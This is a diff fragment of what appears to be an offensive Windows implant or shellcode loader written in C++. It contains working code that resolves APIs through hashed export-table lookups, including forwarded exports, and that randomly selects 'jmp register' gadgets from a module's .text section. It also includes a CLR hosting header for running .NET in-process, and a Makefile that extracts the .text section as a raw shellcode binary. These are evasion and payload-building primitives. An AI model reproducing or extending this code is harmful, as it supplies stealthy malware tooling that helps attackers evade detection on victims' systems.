|
||||
auto FuncPtr = UPTR { 0 };
|
||||
auto NtHdr = PIMAGE_NT_HEADERS { nullptr };
|
||||
auto DosHdr = PIMAGE_DOS_HEADER { nullptr };
|
||||
auto ExpDir = PIMAGE_EXPORT_DIRECTORY { nullptr };
|
||||
auto ExpNames = PDWORD { nullptr };
|
||||
auto ExpAddress = PDWORD { nullptr };
|
||||
auto ExpOrds = PWORD { nullptr };
|
||||
auto SymbName = PSTR { nullptr };
|
||||
|
||||
DosHdr = reinterpret_cast<PIMAGE_DOS_HEADER>( ModBase );
|
||||
if ( DosHdr->e_magic != IMAGE_DOS_SIGNATURE ) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
NtHdr = reinterpret_cast<IMAGE_NT_HEADERS*>( ModBase + DosHdr->e_lfanew );
|
||||
if ( NtHdr->Signature != IMAGE_NT_SIGNATURE ) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
ExpDir = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>( ModBase + NtHdr->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress );
|
||||
ExpNames = reinterpret_cast<PDWORD>( ModBase + ExpDir->AddressOfNames );
|
||||
ExpAddress = reinterpret_cast<PDWORD>( ModBase + ExpDir->AddressOfFunctions );
|
||||
ExpOrds = reinterpret_cast<PWORD> ( ModBase + ExpDir->AddressOfNameOrdinals );
|
||||
|
||||
// Check if export table exists
|
||||
if ( !ExpDir || !ExpDir->NumberOfNames ) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
for ( int i = 0; i < ExpDir->NumberOfNames; i++ ) {
|
||||
SymbName = reinterpret_cast<PSTR>( ModBase + ExpNames[ i ] );
|
||||
|
||||
if ( HashStr( SymbName ) != SymbHash ) {
|
||||
continue;
|
||||
}
|
||||
|
||||
FuncPtr = ModBase + ExpAddress[ ExpOrds[ i ] ];
|
||||
|
||||
// Forwarded exports point to text within the export table section
|
||||
UPTR ExportSectionStart = ModBase + NtHdr->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress;
|
||||
UPTR ExportSectionEnd = ExportSectionStart + NtHdr->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].Size;
|
||||
|
||||
if ( FuncPtr >= ExportSectionStart && FuncPtr < ExportSectionEnd ) {
|
||||
PSTR ForwarderString = reinterpret_cast<PSTR>( FuncPtr );
|
||||
|
||||
PSTR DotPos = ForwarderString;
|
||||
while ( *DotPos && *DotPos != '.' ) {
|
||||
DotPos++;
|
||||
}
|
||||
|
||||
if ( *DotPos == '.' ) {
|
||||
// Get DLL name length
|
||||
SIZE_T DllNameLen = DotPos - ForwarderString;
|
||||
|
||||
// Build the DLL filename
|
||||
CHAR DllName[256] = { 0 };
|
||||
for ( SIZE_T j = 0; j < DllNameLen && j < 250; j++ ) {
|
||||
DllName[j] = ForwarderString[j];
|
||||
}
|
||||
|
||||
if ( DllNameLen < 250 ) {
|
||||
DllName[DllNameLen] = '\0';
|
||||
PSTR LastDot = DllName + DllNameLen - 1;
|
||||
while ( LastDot > DllName && *LastDot != '.' ) {
|
||||
LastDot--;
|
||||
}
|
||||
if ( *LastDot != '.' ) {
|
||||
if ( DllNameLen + 4 < 256 ) {
|
||||
DllName[DllNameLen] = '.';
|
||||
DllName[DllNameLen + 1] = 'd';
|
||||
DllName[DllNameLen + 2] = 'l';
|
||||
DllName[DllNameLen + 3] = 'l';
|
||||
DllName[DllNameLen + 4] = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Get the target function name
|
||||
PSTR TargetFuncName = DotPos + 1;
|
||||
|
||||
// Load the forwarded DLL
|
||||
UPTR ForwardedModule = LoadModule( HashStr( DllName ) );
|
||||
if ( !ForwardedModule ) {
|
||||
return FuncPtr;
|
||||
}
|
||||
|
||||
UPTR TargetFuncHash = HashStr( TargetFuncName );
|
||||
FuncPtr = LoadApi( ForwardedModule, TargetFuncHash );
|
||||
}
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
return FuncPtr;
|
||||
}
|
||||
|
||||
auto DECLFN SectionSize(
|
||||
PVOID LibBase,
|
||||
UPTR SecHash
|
||||
) -> ULONG {
|
||||
IMAGE_NT_HEADERS* Header = { 0 };
|
||||
IMAGE_SECTION_HEADER* SecHdr = { 0 };
|
||||
|
||||
Header = (IMAGE_NT_HEADERS*)( (UPTR)( LibBase ) + ( (PIMAGE_DOS_HEADER)( LibBase ) )->e_lfanew );
|
||||
|
||||
if ( Header->Signature != IMAGE_NT_SIGNATURE ) return 0;
|
||||
|
||||
SecHdr = IMAGE_FIRST_SECTION( Header );
|
||||
|
||||
for ( INT i = 0; i < Header->FileHeader.NumberOfSections; i++ ) {
|
||||
if ( HashStr( SecHdr[i].Name ) == SecHash ) {
|
||||
return SecHdr[i].SizeOfRawData;
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
auto DECLFN Rnd32(
|
||||
VOID
|
||||
) -> ULONG {
|
||||
UINT32 Seed = 0;
|
||||
|
||||
_rdrand32_step( &Seed );
|
||||
|
||||
return Seed;
|
||||
}
|
||||
|
||||
auto DECLFN FindGadget(
|
||||
_In_ PVOID ModuleBase,
|
||||
_In_ UINT16 RegValue
|
||||
) -> PVOID {
|
||||
PVOID Gadget = 0;
|
||||
PVOID GadgetList[10] = { 0 };
|
||||
ULONG GadgetCounter = 0;
|
||||
ULONG RndIndex = 0;
|
||||
BYTE* SearchBase = nullptr;
|
||||
SIZE_T SearchSize = 0;
|
||||
UINT16 JmpValue = 0xff;
|
||||
|
||||
SearchBase = ( (BYTE*)ModuleBase + 0x1000 );
|
||||
SearchSize = SectionSize( ModuleBase, HashStr<CHAR>(".text") );
|
||||
|
||||
for ( INT i = 0; i < SearchSize - 1; i++ ) {
|
||||
if ( SearchBase[i] == JmpValue && SearchBase[i+1] == RegValue ) {
|
||||
GadgetList[GadgetCounter] = (PVOID)( (UPTR)( SearchBase ) + i ); GadgetCounter++;
|
||||
if ( GadgetCounter == 10 ) break;
|
||||
}
|
||||
}
|
||||
|
||||
RndIndex = Rnd32() % GadgetCounter;
|
||||
Gadget = GadgetList[RndIndex];
|
||||
|
||||
return Gadget;
|
||||
}
|
||||
@@ -0,0 +1,495 @@
|
||||
#ifndef CLR_H
|
||||
#define CLR_H
|
||||
|
||||
#include <windows.h>
|
||||
#include <Mscoree.hpp>
|
||||
|
||||
|
||||
/* this ALWAYS GENERATED file contains the definitions for the interfaces */
|
||||
|
||||
|
||||
/* File created by MIDL compiler version 8.01.0622 */
|
||||
/* at Tue Jan 19 03:14:07 2038
|
||||
*/
|
||||
/* Compiler settings for metahost.idl:
|
||||
Oicf, W1, Zp8, env=Win32 (32b run), target_arch=X86 8.01.0622
|
||||
protocol : dce , ms_ext, c_ext, robust
|
||||
error checks: allocation ref bounds_check enum stub_data
|
||||
VC __declspec() decoration level:
|
||||
__declspec(uuid()), __declspec(selectany), __declspec(novtable)
|
||||
DECLSPEC_UUID(), MIDL_INTERFACE()
|
||||
*/
|
||||
/* @@MIDL_FILE_HEADING( ) */
|
||||
|
||||
#pragma warning( disable: 4049 ) /* more than 64k source lines */
|
||||
|
||||
|
||||
/* verify that the <rpcndr.h> version is high enough to compile this file*/
|
||||
#ifndef __REQUIRED_RPCNDR_H_VERSION__
|
||||
#define __REQUIRED_RPCNDR_H_VERSION__ 475
|
||||
#endif
|
||||
|
||||
#include "rpc.h"
|
||||
#include "rpcndr.h"
|
||||
|
||||
#ifndef __RPCNDR_H_VERSION__
|
||||
#error this stub requires an updated version of <rpcndr.h>
|
||||
#endif /* __RPCNDR_H_VERSION__ */
|
||||
|
||||
#ifndef COM_NO_WINDOWS_H
|
||||
#include "windows.h"
|
||||
#include "ole2.h"
|
||||
#endif /*COM_NO_WINDOWS_H*/
|
||||
|
||||
#ifndef __metahost_h__
|
||||
#define __metahost_h__
|
||||
|
||||
#if defined(_MSC_VER) && (_MSC_VER >= 1020)
|
||||
#pragma once
|
||||
#endif
|
||||
|
||||
/* Forward Declarations */
|
||||
|
||||
#ifndef __ICLRRuntimeInfo_FWD_DEFINED__
|
||||
#define __ICLRRuntimeInfo_FWD_DEFINED__
|
||||
typedef interface ICLRRuntimeInfo ICLRRuntimeInfo;
|
||||
|
||||
#endif /* __ICLRRuntimeInfo_FWD_DEFINED__ */
|
||||
|
||||
|
||||
#ifndef __ICLRMetaHost_FWD_DEFINED__
|
||||
#define __ICLRMetaHost_FWD_DEFINED__
|
||||
typedef interface ICLRMetaHost ICLRMetaHost;
|
||||
|
||||
#endif /* __ICLRMetaHost_FWD_DEFINED__ */
|
||||
|
||||
|
||||
/* header files for imported files */
|
||||
#include "unknwn.h"
|
||||
#include "oaidl.h"
|
||||
#include "ocidl.h"
|
||||
#include <mscoree.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C"{
|
||||
#endif
|
||||
|
||||
|
||||
/* interface __MIDL_itf_metahost_0000_0000 */
|
||||
/* [local] */
|
||||
|
||||
#ifdef WINE_NO_UNICODE_MACROS
|
||||
#undef LoadLibrary
|
||||
#endif
|
||||
|
||||
|
||||
extern RPC_IF_HANDLE __MIDL_itf_metahost_0000_0000_v0_0_c_ifspec;
|
||||
extern RPC_IF_HANDLE __MIDL_itf_metahost_0000_0000_v0_0_s_ifspec;
|
||||
|
||||
#ifndef __ICLRRuntimeInfo_INTERFACE_DEFINED__
|
||||
#define __ICLRRuntimeInfo_INTERFACE_DEFINED__
|
||||
|
||||
/* interface ICLRRuntimeInfo */
|
||||
/* [uuid][local][object] */
|
||||
|
||||
|
||||
EXTERN_C const IID IID_ICLRRuntimeInfo;
|
||||
|
||||
#if defined(__cplusplus) && !defined(CINTERFACE)
|
||||
|
||||
MIDL_INTERFACE("bd39d1d2-ba2f-486a-89b0-b4b0cb466891")
|
||||
ICLRRuntimeInfo : public IUnknown
|
||||
{
|
||||
public:
|
||||
virtual HRESULT STDMETHODCALLTYPE GetVersionString(
|
||||
/* [size_is][out] */ LPWSTR pwzBuffer,
|
||||
/* [out][in] */ DWORD *pcchBuffer) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetRuntimeDirectory(
|
||||
/* [size_is][out] */ LPWSTR pwzBuffer,
|
||||
/* [out][in] */ DWORD *pcchBuffer) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE IsLoaded(
|
||||
/* [in] */ HANDLE hndProcess,
|
||||
/* [retval][out] */ BOOL *pbLoaded) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE LoadErrorString(
|
||||
/* [in] */ UINT iResourceID,
|
||||
/* [size_is][out] */ LPWSTR pwzBuffer,
|
||||
/* [out][in] */ DWORD *pcchBuffer,
|
||||
/* [in] */ LONG iLocaleid) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE LoadLibrary(
|
||||
/* [in] */ LPCWSTR pwzDllName,
|
||||
/* [retval][out] */ HMODULE *phndModule) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetProcAddress(
|
||||
/* [in] */ LPCSTR pszProcName,
|
||||
/* [retval][out] */ LPVOID *ppProc) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetInterface(
|
||||
/* [in] */ REFCLSID rclsid,
|
||||
/* [in] */ REFIID riid,
|
||||
/* [retval][iid_is][out] */ LPVOID *ppUnk) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE IsLoadable(
|
||||
/* [retval][out] */ BOOL *pbLoadable) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE SetDefaultStartupFlags(
|
||||
/* [in] */ DWORD dwStartupFlags,
|
||||
/* [in] */ LPCWSTR pwzHostConfigFile) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetDefaultStartupFlags(
|
||||
/* [out] */ DWORD *pdwStartupFlags,
|
||||
/* [size_is][out] */ LPWSTR pwzHostConfigFile,
|
||||
/* [out][in] */ DWORD *pcchHostConfigFile) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE BindAsLegacyV2Runtime( void) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE IsStarted(
|
||||
/* [out] */ BOOL *pbStarted,
|
||||
/* [out] */ DWORD *pdwStartupFlags) = 0;
|
||||
|
||||
};
|
||||
|
||||
|
||||
#else /* C style interface */
|
||||
|
||||
typedef struct ICLRRuntimeInfoVtbl
|
||||
{
|
||||
BEGIN_INTERFACE
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *QueryInterface )(
|
||||
ICLRRuntimeInfo * This,
|
||||
/* [in] */ REFIID riid,
|
||||
/* [annotation][iid_is][out] */
|
||||
_COM_Outptr_ void **ppvObject);
|
||||
|
||||
ULONG ( STDMETHODCALLTYPE *AddRef )(
|
||||
ICLRRuntimeInfo * This);
|
||||
|
||||
ULONG ( STDMETHODCALLTYPE *Release )(
|
||||
ICLRRuntimeInfo * This);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *GetVersionString )(
|
||||
ICLRRuntimeInfo * This,
|
||||
/* [size_is][out] */ LPWSTR pwzBuffer,
|
||||
/* [out][in] */ DWORD *pcchBuffer);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *GetRuntimeDirectory )(
|
||||
ICLRRuntimeInfo * This,
|
||||
/* [size_is][out] */ LPWSTR pwzBuffer,
|
||||
/* [out][in] */ DWORD *pcchBuffer);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *IsLoaded )(
|
||||
ICLRRuntimeInfo * This,
|
||||
/* [in] */ HANDLE hndProcess,
|
||||
/* [retval][out] */ BOOL *pbLoaded);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *LoadErrorString )(
|
||||
ICLRRuntimeInfo * This,
|
||||
/* [in] */ UINT iResourceID,
|
||||
/* [size_is][out] */ LPWSTR pwzBuffer,
|
||||
/* [out][in] */ DWORD *pcchBuffer,
|
||||
/* [in] */ LONG iLocaleid);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *LoadLibrary )(
|
||||
ICLRRuntimeInfo * This,
|
||||
/* [in] */ LPCWSTR pwzDllName,
|
||||
/* [retval][out] */ HMODULE *phndModule);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *GetProcAddress )(
|
||||
ICLRRuntimeInfo * This,
|
||||
/* [in] */ LPCSTR pszProcName,
|
||||
/* [retval][out] */ LPVOID *ppProc);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *GetInterface )(
|
||||
ICLRRuntimeInfo * This,
|
||||
/* [in] */ REFCLSID rclsid,
|
||||
/* [in] */ REFIID riid,
|
||||
/* [retval][iid_is][out] */ LPVOID *ppUnk);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *IsLoadable )(
|
||||
ICLRRuntimeInfo * This,
|
||||
/* [retval][out] */ BOOL *pbLoadable);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *SetDefaultStartupFlags )(
|
||||
ICLRRuntimeInfo * This,
|
||||
/* [in] */ DWORD dwStartupFlags,
|
||||
/* [in] */ LPCWSTR pwzHostConfigFile);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *GetDefaultStartupFlags )(
|
||||
ICLRRuntimeInfo * This,
|
||||
/* [out] */ DWORD *pdwStartupFlags,
|
||||
/* [size_is][out] */ LPWSTR pwzHostConfigFile,
|
||||
/* [out][in] */ DWORD *pcchHostConfigFile);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *BindAsLegacyV2Runtime )(
|
||||
ICLRRuntimeInfo * This);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *IsStarted )(
|
||||
ICLRRuntimeInfo * This,
|
||||
/* [out] */ BOOL *pbStarted,
|
||||
/* [out] */ DWORD *pdwStartupFlags);
|
||||
|
||||
END_INTERFACE
|
||||
} ICLRRuntimeInfoVtbl;
|
||||
|
||||
interface ICLRRuntimeInfo
|
||||
{
|
||||
CONST_VTBL struct ICLRRuntimeInfoVtbl *lpVtbl;
|
||||
};
|
||||
|
||||
|
||||
|
||||
#ifdef COBJMACROS
|
||||
|
||||
|
||||
#define ICLRRuntimeInfo_QueryInterface(This,riid,ppvObject) \
|
||||
( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) )
|
||||
|
||||
#define ICLRRuntimeInfo_AddRef(This) \
|
||||
( (This)->lpVtbl -> AddRef(This) )
|
||||
|
||||
#define ICLRRuntimeInfo_Release(This) \
|
||||
( (This)->lpVtbl -> Release(This) )
|
||||
|
||||
|
||||
#define ICLRRuntimeInfo_GetVersionString(This,pwzBuffer,pcchBuffer) \
|
||||
( (This)->lpVtbl -> GetVersionString(This,pwzBuffer,pcchBuffer) )
|
||||
|
||||
#define ICLRRuntimeInfo_GetRuntimeDirectory(This,pwzBuffer,pcchBuffer) \
|
||||
( (This)->lpVtbl -> GetRuntimeDirectory(This,pwzBuffer,pcchBuffer) )
|
||||
|
||||
#define ICLRRuntimeInfo_IsLoaded(This,hndProcess,pbLoaded) \
|
||||
( (This)->lpVtbl -> IsLoaded(This,hndProcess,pbLoaded) )
|
||||
|
||||
#define ICLRRuntimeInfo_LoadErrorString(This,iResourceID,pwzBuffer,pcchBuffer,iLocaleid) \
|
||||
( (This)->lpVtbl -> LoadErrorString(This,iResourceID,pwzBuffer,pcchBuffer,iLocaleid) )
|
||||
|
||||
#define ICLRRuntimeInfo_LoadLibrary(This,pwzDllName,phndModule) \
|
||||
( (This)->lpVtbl -> LoadLibrary(This,pwzDllName,phndModule) )
|
||||
|
||||
#define ICLRRuntimeInfo_GetProcAddress(This,pszProcName,ppProc) \
|
||||
( (This)->lpVtbl -> GetProcAddress(This,pszProcName,ppProc) )
|
||||
|
||||
#define ICLRRuntimeInfo_GetInterface(This,rclsid,riid,ppUnk) \
|
||||
( (This)->lpVtbl -> GetInterface(This,rclsid,riid,ppUnk) )
|
||||
|
||||
#define ICLRRuntimeInfo_IsLoadable(This,pbLoadable) \
|
||||
( (This)->lpVtbl -> IsLoadable(This,pbLoadable) )
|
||||
|
||||
#define ICLRRuntimeInfo_SetDefaultStartupFlags(This,dwStartupFlags,pwzHostConfigFile) \
|
||||
( (This)->lpVtbl -> SetDefaultStartupFlags(This,dwStartupFlags,pwzHostConfigFile) )
|
||||
|
||||
#define ICLRRuntimeInfo_GetDefaultStartupFlags(This,pdwStartupFlags,pwzHostConfigFile,pcchHostConfigFile) \
|
||||
( (This)->lpVtbl -> GetDefaultStartupFlags(This,pdwStartupFlags,pwzHostConfigFile,pcchHostConfigFile) )
|
||||
|
||||
#define ICLRRuntimeInfo_BindAsLegacyV2Runtime(This) \
|
||||
( (This)->lpVtbl -> BindAsLegacyV2Runtime(This) )
|
||||
|
||||
#define ICLRRuntimeInfo_IsStarted(This,pbStarted,pdwStartupFlags) \
|
||||
( (This)->lpVtbl -> IsStarted(This,pbStarted,pdwStartupFlags) )
|
||||
|
||||
#endif /* COBJMACROS */
|
||||
|
||||
|
||||
#endif /* C style interface */
|
||||
|
||||
|
||||
|
||||
|
||||
#endif /* __ICLRRuntimeInfo_INTERFACE_DEFINED__ */
|
||||
|
||||
|
||||
/* interface __MIDL_itf_metahost_0000_0001 */
|
||||
/* [local] */
|
||||
|
||||
typedef HRESULT ( __stdcall *CallbackThreadSetFnPtr )( void);
|
||||
|
||||
typedef HRESULT ( __stdcall *CallbackThreadUnsetFnPtr )( void);
|
||||
|
||||
typedef void ( __stdcall *RuntimeLoadedCallbackFnPtr )(
|
||||
ICLRRuntimeInfo *pRuntimeInfo,
|
||||
CallbackThreadSetFnPtr pfnCallbackThreadSet,
|
||||
CallbackThreadUnsetFnPtr pfnCallbackThreadUnset);
|
||||
|
||||
DEFINE_GUID(CLSID_CLRDebuggingLegacy, 0xDF8395B5,0xA4BA,0x450b,0xA7,0x7C,0xA9,0xA4,0x77,0x62,0xC5,0x20);
|
||||
DEFINE_GUID(CLSID_CLRMetaHost, 0x9280188d,0x0e8e,0x4867,0xb3,0x0c,0x7f,0xa8,0x38,0x84,0xe8,0xde);
|
||||
|
||||
|
||||
extern RPC_IF_HANDLE __MIDL_itf_metahost_0000_0001_v0_0_c_ifspec;
|
||||
extern RPC_IF_HANDLE __MIDL_itf_metahost_0000_0001_v0_0_s_ifspec;
|
||||
|
||||
#ifndef __ICLRMetaHost_INTERFACE_DEFINED__
|
||||
#define __ICLRMetaHost_INTERFACE_DEFINED__
|
||||
|
||||
/* interface ICLRMetaHost */
|
||||
/* [uuid][local][object] */
|
||||
|
||||
|
||||
EXTERN_C const IID IID_ICLRMetaHost;
|
||||
|
||||
#if defined(__cplusplus) && !defined(CINTERFACE)
|
||||
|
||||
MIDL_INTERFACE("d332db9e-b9b3-4125-8207-a14884f53216")
|
||||
ICLRMetaHost : public IUnknown
|
||||
{
|
||||
public:
|
||||
virtual HRESULT STDMETHODCALLTYPE GetRuntime(
|
||||
/* [in] */ LPCWSTR pwzVersion,
|
||||
/* [in] */ REFIID iid,
|
||||
/* [retval][iid_is][out] */ LPVOID *ppRuntime) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetVersionFromFile(
|
||||
/* [in] */ LPCWSTR pwzFilePath,
|
||||
/* [size_is][out] */ LPWSTR pwzBuffer,
|
||||
/* [out][in] */ DWORD *pcchBuffer) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE EnumerateInstalledRuntimes(
|
||||
/* [retval][out] */ IEnumUnknown **ppEnumerator) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE EnumerateLoadedRuntimes(
|
||||
/* [in] */ HANDLE hndProcess,
|
||||
/* [retval][out] */ IEnumUnknown **ppEnumerator) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE RequestRuntimeLoadedNotification(
|
||||
/* [in] */ RuntimeLoadedCallbackFnPtr pCallbackFunction) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE QueryLegacyV2RuntimeBinding(
|
||||
/* [in] */ REFIID riid,
|
||||
/* [retval][iid_is][out] */ LPVOID *ppUnk) = 0;
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE ExitProcess(
|
||||
/* [in] */ INT32 iExitCode) = 0;
|
||||
|
||||
};
|
||||
|
||||
|
||||
#else /* C style interface */
|
||||
|
||||
typedef struct ICLRMetaHostVtbl
|
||||
{
|
||||
BEGIN_INTERFACE
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *QueryInterface )(
|
||||
ICLRMetaHost * This,
|
||||
/* [in] */ REFIID riid,
|
||||
/* [annotation][iid_is][out] */
|
||||
_COM_Outptr_ void **ppvObject);
|
||||
|
||||
ULONG ( STDMETHODCALLTYPE *AddRef )(
|
||||
ICLRMetaHost * This);
|
||||
|
||||
ULONG ( STDMETHODCALLTYPE *Release )(
|
||||
ICLRMetaHost * This);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *GetRuntime )(
|
||||
ICLRMetaHost * This,
|
||||
/* [in] */ LPCWSTR pwzVersion,
|
||||
/* [in] */ REFIID iid,
|
||||
/* [retval][iid_is][out] */ LPVOID *ppRuntime);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *GetVersionFromFile )(
|
||||
ICLRMetaHost * This,
|
||||
/* [in] */ LPCWSTR pwzFilePath,
|
||||
/* [size_is][out] */ LPWSTR pwzBuffer,
|
||||
/* [out][in] */ DWORD *pcchBuffer);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *EnumerateInstalledRuntimes )(
|
||||
ICLRMetaHost * This,
|
||||
/* [retval][out] */ IEnumUnknown **ppEnumerator);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *EnumerateLoadedRuntimes )(
|
||||
ICLRMetaHost * This,
|
||||
/* [in] */ HANDLE hndProcess,
|
||||
/* [retval][out] */ IEnumUnknown **ppEnumerator);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *RequestRuntimeLoadedNotification )(
|
||||
ICLRMetaHost * This,
|
||||
/* [in] */ RuntimeLoadedCallbackFnPtr pCallbackFunction);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *QueryLegacyV2RuntimeBinding )(
|
||||
ICLRMetaHost * This,
|
||||
/* [in] */ REFIID riid,
|
||||
/* [retval][iid_is][out] */ LPVOID *ppUnk);
|
||||
|
||||
HRESULT ( STDMETHODCALLTYPE *ExitProcess )(
|
||||
ICLRMetaHost * This,
|
||||
/* [in] */ INT32 iExitCode);
|
||||
|
||||
END_INTERFACE
|
||||
} ICLRMetaHostVtbl;
|
||||
|
||||
interface ICLRMetaHost
|
||||
{
|
||||
CONST_VTBL struct ICLRMetaHostVtbl *lpVtbl;
|
||||
};
|
||||
|
||||
|
||||
|
||||
#ifdef COBJMACROS
|
||||
|
||||
|
||||
#define ICLRMetaHost_QueryInterface(This,riid,ppvObject) \
|
||||
( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) )
|
||||
|
||||
#define ICLRMetaHost_AddRef(This) \
|
||||
( (This)->lpVtbl -> AddRef(This) )
|
||||
|
||||
#define ICLRMetaHost_Release(This) \
|
||||
( (This)->lpVtbl -> Release(This) )
|
||||
|
||||
|
||||
#define ICLRMetaHost_GetRuntime(This,pwzVersion,iid,ppRuntime) \
|
||||
( (This)->lpVtbl -> GetRuntime(This,pwzVersion,iid,ppRuntime) )
|
||||
|
||||
#define ICLRMetaHost_GetVersionFromFile(This,pwzFilePath,pwzBuffer,pcchBuffer) \
|
||||
( (This)->lpVtbl -> GetVersionFromFile(This,pwzFilePath,pwzBuffer,pcchBuffer) )
|
||||
|
||||
#define ICLRMetaHost_EnumerateInstalledRuntimes(This,ppEnumerator) \
|
||||
( (This)->lpVtbl -> EnumerateInstalledRuntimes(This,ppEnumerator) )
|
||||
|
||||
#define ICLRMetaHost_EnumerateLoadedRuntimes(This,hndProcess,ppEnumerator) \
|
||||
( (This)->lpVtbl -> EnumerateLoadedRuntimes(This,hndProcess,ppEnumerator) )
|
||||
|
||||
#define ICLRMetaHost_RequestRuntimeLoadedNotification(This,pCallbackFunction) \
|
||||
( (This)->lpVtbl -> RequestRuntimeLoadedNotification(This,pCallbackFunction) )
|
||||
|
||||
#define ICLRMetaHost_QueryLegacyV2RuntimeBinding(This,riid,ppUnk) \
|
||||
( (This)->lpVtbl -> QueryLegacyV2RuntimeBinding(This,riid,ppUnk) )
|
||||
|
||||
#define ICLRMetaHost_ExitProcess(This,iExitCode) \
|
||||
( (This)->lpVtbl -> ExitProcess(This,iExitCode) )
|
||||
|
||||
#endif /* COBJMACROS */
|
||||
|
||||
|
||||
#endif /* C style interface */
|
||||
|
||||
|
||||
|
||||
|
||||
#endif /* __ICLRMetaHost_INTERFACE_DEFINED__ */
|
||||
|
||||
|
||||
/* interface __MIDL_itf_metahost_0000_0002 */
|
||||
/* [local] */
|
||||
|
||||
HRESULT WINAPI CLRCreateInstance(REFCLSID clsid, REFIID riid, LPVOID *ppInterface);
|
||||
|
||||
|
||||
extern RPC_IF_HANDLE __MIDL_itf_metahost_0000_0002_v0_0_c_ifspec;
|
||||
extern RPC_IF_HANDLE __MIDL_itf_metahost_0000_0002_v0_0_s_ifspec;
|
||||
|
||||
/* Additional Prototypes for ALL interfaces */
|
||||
|
||||
/* end of Additional Prototypes */
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
#endif // CLR_H
|
||||
Binary file not shown.
File diff suppressed because it is too large
Load Diff
Binary file not shown.
@@ -30,26 +30,26 @@ x86-debug: CFLAGS += -D DEBUG
|
||||
x86-debug: x86
|
||||
|
||||
x64: nasm64 $(OBJ64)
|
||||
@ echo "compiling x64 project"
|
||||
@ $(CCX64) $(BUILD_PATH)/Bin/obj/*.x64.obj -o $(BUILD_PATH)/Bin/$(NAME).x64.exe $(CFLAGS)
|
||||
@ objcopy --dump-section .text=$(BUILD_PATH)/Bin/$(NAME).x64.bin $(BUILD_PATH)/Bin/$(NAME).x64.exe
|
||||
@ rm $(BUILD_PATH)/Bin/$(NAME).x64.exe
|
||||
@ echo "compiling x64 project"
|
||||
@ $(CCX64) $(BUILD_PATH)/Bin/obj/*.x64.obj -o $(BUILD_PATH)/Bin/$(NAME).x64.exe $(CFLAGS)
|
||||
@ objcopy --dump-section .text=$(BUILD_PATH)/Bin/$(NAME).x64.bin $(BUILD_PATH)/Bin/$(NAME).x64.exe
|
||||
@ rm $(BUILD_PATH)/Bin/$(NAME).x64.exe
|
||||
|
||||
%.x64.obj: %.cc
|
||||
@ echo "-> compiling $< to $(notdir $@)"
|
||||
@ $(CCX64) -o $(BUILD_PATH)/Bin/obj/$(notdir $@) -c $< $(CFLAGS) $(DEFS)
|
||||
@ echo "-> compiling $< to $(notdir $@)"
|
||||
@ $(CCX64) -o $(BUILD_PATH)/Bin/obj/$(notdir $@) -c $< $(CFLAGS) $(DEFS)
|
||||
|
||||
%.x86.obj: %.cc
|
||||
@ echo "-> compiling $< to $(notdir $@)"
|
||||
@ $(CCX86) -o $(BUILD_PATH)/Bin/obj/$(notdir $@) -c $< $(CFLAGS) $(DEFS)
|
||||
@ echo "-> compiling $< to $(notdir $@)"
|
||||
@ $(CCX86) -o $(BUILD_PATH)/Bin/obj/$(notdir $@) -c $< $(CFLAGS) $(DEFS)
|
||||
|
||||
nasm64:
|
||||
@ $(ASMCC) -f win64 Source/Asm/Start.x64.s -o $(BUILD_PATH)/Bin/obj/start.x64.obj
|
||||
